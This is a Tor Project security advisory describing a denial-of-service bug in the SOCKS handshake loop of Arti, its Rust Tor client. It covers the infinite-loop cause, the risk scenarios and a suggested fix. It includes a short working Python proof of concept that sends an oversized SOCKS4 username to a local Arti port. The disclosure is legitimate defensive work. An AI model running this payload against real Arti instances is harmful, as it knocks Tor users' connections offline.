TROVE-2023-001: [from security@torproject.org] DoS via infinite loop in Socks protocol implementation
Received the following email on security@torproject.org:
Issue description
The Socks protocol implementation in Arti will read from the socket to a
1024-bytes buffer in a loop. After reading from the socket, the packet is
parsed via handshake.handshake
, which will return the following values:
-
Ok(Ok(action))
: Valid data received -
Ok(Err(e))
: Data is invalid, close connection -
Err(_)
: Data is truncated/not yet fully read from socket
In the case of truncated data, the loop will read from the socket again, up to
the 1024-bytes length of the buffer. After that, handshake.handshake
is
called again, possibly repeatedly until enough data has been received:
https://gitlab.torproject.org/tpo/core/arti/-/blob/main/crates/arti/src/socks.rs#L119-157
If handshake.handshake
returns Err(_)
even if the buffer is already full,
the implementation will try to read zero bytes (in_buf[1024..]
is an empty
buffer), which will instantly finish. After this reading attempt, the code
will try parsing the same data again, effectively resulting in an infinite
loop. This can be triggered via the (null-terminated) username or hostname
string in Socks4:
PoC
The following PoC will connect to 127.0.0.1:9150 and send a payload to exploit this issue:
#!/usr/bin/env python3
import socket
def main():
s = socket.create_connection(("127.0.0.1", 9150))
f = s.makefile('rwb')
buf = b"".join([
b"\x04", # Socks version 4
b"\x01", # SocksCmd::CONNECT
b"\x1337", # Port, doesn't matter
b"\x7f\x00\x00\x01", # IP Addr, doesn't matter
b"A" * 1024 # Username
])
buf = buf[0:1024] # Truncate it to 1024 bytes
f.write(buf)
f.flush()
if __name__ == '__main__':
main()
In order to cause full DoS against the arti binary, this exploit will need to be run multiple times. Each run of the exploit will result in one thread in an infinite loop and effectively block one thread of the tokio runtime. The number of available threads defaults to the number of available CPUs and once all these threads are stuck in an infinite loop, the arti binary will be totally unresponsive.
Risk
Attackers able to reach the Socks port of Arti can cause DoS. Since the Socks port is by default only reachable on localhost, the risk is relatively low. However, there are a couple of situations where this could still be exploited:
- Untrusted software running on the local machine, possibly in a sandboxed environment (for example Android Apps or certain software plugins) can still have unlimited network communication to localhost.
- Arti used as a Tor gateway to provide Tor for other machines, i.e. on a Raspberry Pi.
Mitigation suggestion
Abort socks handling loop if handshake.handshake
returns Err(_)
(which
means that more input data is expected) even though the input buffer has
already been fully received (up to the 1024 byte limit).